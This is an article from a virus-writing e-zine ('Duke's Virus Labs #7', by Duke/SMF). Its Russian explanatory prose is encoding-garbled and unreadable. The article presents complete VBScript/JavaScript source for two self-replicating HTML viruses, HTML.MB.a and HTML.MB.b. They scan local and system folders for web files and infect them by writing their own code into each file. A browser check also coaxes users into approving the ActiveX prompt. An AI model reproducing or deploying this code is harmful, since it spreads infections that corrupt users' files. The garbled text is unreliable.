- [Duke's Virus Labs #7] - [Page 12] -

ࠧ᪨ HTML-
(c) by Duke/SMF

    ⮣, ⮡  業 HTML-,    
 몠 ਯ⮢ - JavaScript  VBScript.  ਭ樯,   Java
     ᯮ짮  ⠭⭮ ⮢.
 : ਯ⮬, ஢騬    ⠭  
Web-㧥.   ⮬,  VBScript  㤠   ᯮ
⮫쪮  㧥஬ Internet Explorer (⮬,    Microsoft
 ஬ 몠 Visual Basic.   ਧ樨 ⮢
⪭㫨 প VB   ᢮ 㧥),    稭  ᨨ 4.0 
 (, 㧥 IE5    VB-ਯ,  ᫠ ࠡ
 IE4.    墠 ॥⢥  !)
    ॡ騩  Java-ਯ :

===== Cut here =====
<SCRIPT Language = "JavaScript">
<!--
var userAgent=navigator.appName;
var userVer=navigator.appVersion;
    //६  㪢   㧥
var agentInfo=userAgent.substring(0, 1);
    //६    ᨨ 㧥
var agentVer=userVer.substring(0, 1);
    //᫨ ࢠ 㪢 = "M" ,  宦  ⪭㫨  "Microsoft"
if(agentInfo == "M"){
    //஢塞  - 4  
if  (agentVer =="4"){
    //ᥩ 㤥 ⠭  짮⥫   㧥 :
alert("Click YES to continue...")
}
}else {
    //㧥   IE4  VB-ਯ ࠡ  㤥
alert("This page designed ONLY for IE4 :(")
self.close()
}
//-->
</SCRIPT>
===== Cut here =====

    ᫥ ஢ ஢ન  ᪠   ਯ.
       室   ਯ ? ᭮  ,  
⢥ 楤ன   . ⠥ ᯮ ᪠ 
 室  ணࠬ஢.   ࠧ  窨 :
1) 猪 ⠬ 樠, ய뢠  ॥ (  :),
뢮 ᮮ饭
2) ।塞 ⮯ ⮣ 䠩. ᫨  ᯮ  ᪥
(.. ⮪ "file:"),    ᯥ譮 .
筮  ⮬  ⮨  맮 㭪樨 ࠦ ४ਨ 
ࠧࠧ묨 ࠬࠬ (.. ࠦ  ᯨ ४਩).
3) 㭪 ࠦ ४ਨ.   ᯥࢠ ஢ ⢮
⮩ ४ਨ,    ࠧ   ⮨.
᫨ ४  稨,  ॡࠥ  䠩  ⮩ ४ਨ.
  ७ 䠩,   (  ⭮  ࠦ? ;)
  HTML-㬥 (htm, html, asp, shm, shtml  ..)  뢠
楤 ࠦ  䠩.
4) 㭪 ࠦ 䠩.    ஢  ࠦ.
  ਬ ⠪ ( CV  ஢塞 䠩) :

===== Cut here =====
Set CV = FSO.opentextfile(f1.path, 1, true)
GetMark = CV.ReadLine
CV.close
if GetMark <> "<!-- Metka -->" then
' 祣- ⠬ 
===== Cut here =====

        砫, ⠪    䠩. ᫨  襬 
砫,    ஢  㧥  ⮬  ਢ.
 ᫨  襬  ,      :  ࢠ   
㧥.   ⢥ ᯥਬ -  :)
      饭   HTML.MB.  "a" ࠦ 䠩  砫
 ᯮ JavaScript,   "b" ࠦ 䠩     設⢥
砥   ࠡᯮᮡ.
   ⠩, , ᯥ६.    ਬ
  樮 .   㤠..... ;-))))

===== begin html_mb1.htm =====
<!-- HTML.MB.a -->
<html><body>
<SCRIPT Language = "JavaScript">
<!--
var userAgent=navigator.appName;
var userVer=navigator.appVersion;
var agentInfo=userAgent.substring(0, 1);
var agentVer=userVer.substring(0, 1);
if(agentInfo == "M"){
if  (agentVer =="4"){
alert("Click YES to continue...")
}
}else {
alert("This page designed ONLY for IE4 :(")
self.close()
}
//-->
</script>

<script Language="VBScript">
<!-- HTML.MB.a -->
<!-- by Duke/SMF -->
<!--
On Error Resume Next
If location.protocol = "file:" Then
   Set FSO = CreateObject("Scripting.FileSystemObject")
   Path = Replace(location.href, "/", "\")
   Path = Replace(Path, "file:\\\", "")
   Path = FSO.GetParentFolderName(Path)
   Set TRange = document.body.createTextRange
   Call ScanDir(Path)
   Call CFolder("")
   Call CFolder("Temp")
   Call CFolder("My Documents")
   Call CFolder("Windows\Desktop")
   Call CFolder("Windows\Web")
   Call CFolder("Windows\Web\Wallpaper")
   Call CFolder("Windows\Help")
   Call CFolder("Windows\Temp")
   Call CFolder("Windows\ShellNew")
   Call CFolder("Windows\System")
   Call CFolder("Windows")
   Call CFolder("Winnt\Desktop")
   Call CFolder("Winnt\Web")
   Call CFolder("Winnt\Web\Wallpaper")
   Call CFolder("Winnt\Help")
   Call CFolder("Winnt\Temp")
   Call CFolder("Winnt\ShellNew")
   Call CFolder("Winnt\System")
   Call CFolder("Winnt")
   Call CFolder("Program Files\Internet Explorer")
End If

Sub CFolder(Dir)
Call ScanDir("C:\"+Dir)
End Sub

Sub ScanDir(Dir)
On Error Resume Next
if FSO.FolderExists(Dir) then
   Do
      Set FolderObj = FSO.GetFolder(Dir)
      Dir = FSO.GetParentFolderName(Dir)
      Set FO = FolderObj.Files
      For each target In FO
          ExtName = lcase(FSO.GetExtensionName(target.Name))
          if ExtName = "htm" or ExtName = "html" or ExtName = "asp" or ExtName = "shtml" or ExtName = "stm"  Then
              Set Real = FSO.OpenTextFile(target.path, 1, False)
              If Real.readline <> "<!-- HTML.MB.a -->" Then
                  Real.close()
                  InfectFile(target.path)
              Else
                  Real.close()
              End If
          End If
      Next
   Loop Until FolderObj.IsRootFolder = True
End If
End Sub

Sub InfectFile(FN)
    Set Real = FSO.OpenTextFile(FN, 1, False)
    FileContents = Real.ReadAll()
    Real.close()
    Set Real = FSO.OpenTextFile(FN, 2, False)
    Real.WriteLine "<!-- HTML.MB.a -->"
    Real.Write("<html><body>" + Chr(13) + Chr(10))
    Real.WriteLine TRange.htmlText
    Real.WriteLine("</body></html>")
    Real.Write(FileContents)
    Real.close()
End Sub

-->
</script>
===== end   html_mb1.htm =====

===== begin html_mb2.htm =====
<!-- HTML.MB.b -->
<script language="VBScript">
<!--
On Error Resume Next
If location.protocol = "file:" Then
   Set FSO = CreateObject("Scripting.FileSystemObject")
   Path = Replace(location.href, "/", "\")
   Path = Replace(Path, "file:\\\", "")
   NP = FSO.GetParentFolderName(Path)
   Set Folder = FSO.GetFolder(NP)
   Call ScanDir(Folder)
End If

Sub ScanDir(Dir)
While Dir.IsRootFolder = false
   Set Dir = FileSystem.GetFolder(NP)
   Set DF = Dir.Files
   Path = FSO.GetParentFolderName(NP)

For each Jertva in DF
    ext = Lcase(FSO.GetExtensionName(Jertva.name))
    If ext = "htm" or ext = "html" or ext ="asp" Then
    Set host = FSO.opentextfile(Jertva.path, 2, true)

    Stop = 0
    Do While host.AtEndOfStream <> True
        GetMark = host.ReadLine
        If GetMark = "<!-- HTML.MB.b -->" Then
            Stop = 1
        End If
    Loop

    If Stop = 0 Then
        'ࠦ !
        ' 䠩  ᪠  ⪨
        Set CV = FSO.opentextfile(Path, 1, true)
        Do While Stop = 0
            GetMark = CV.ReadLine
            if GetMark = "<!-- HTML.MB.b -->" Then
               Stop = 1
            End If
        Loop
        '९뢠    䠩    䠩 
        host.WriteLine "<!-- HTML.MB.b -->"
        Do While host.AtEndOfStream <> True
           host.WriteLine CV.ReadLine
        Loop
        host.Close
        CV.close
    Else
        host.Close
    End If
Next
Wend
End Sub
--></script>
===== end   html_mb2.htm =====
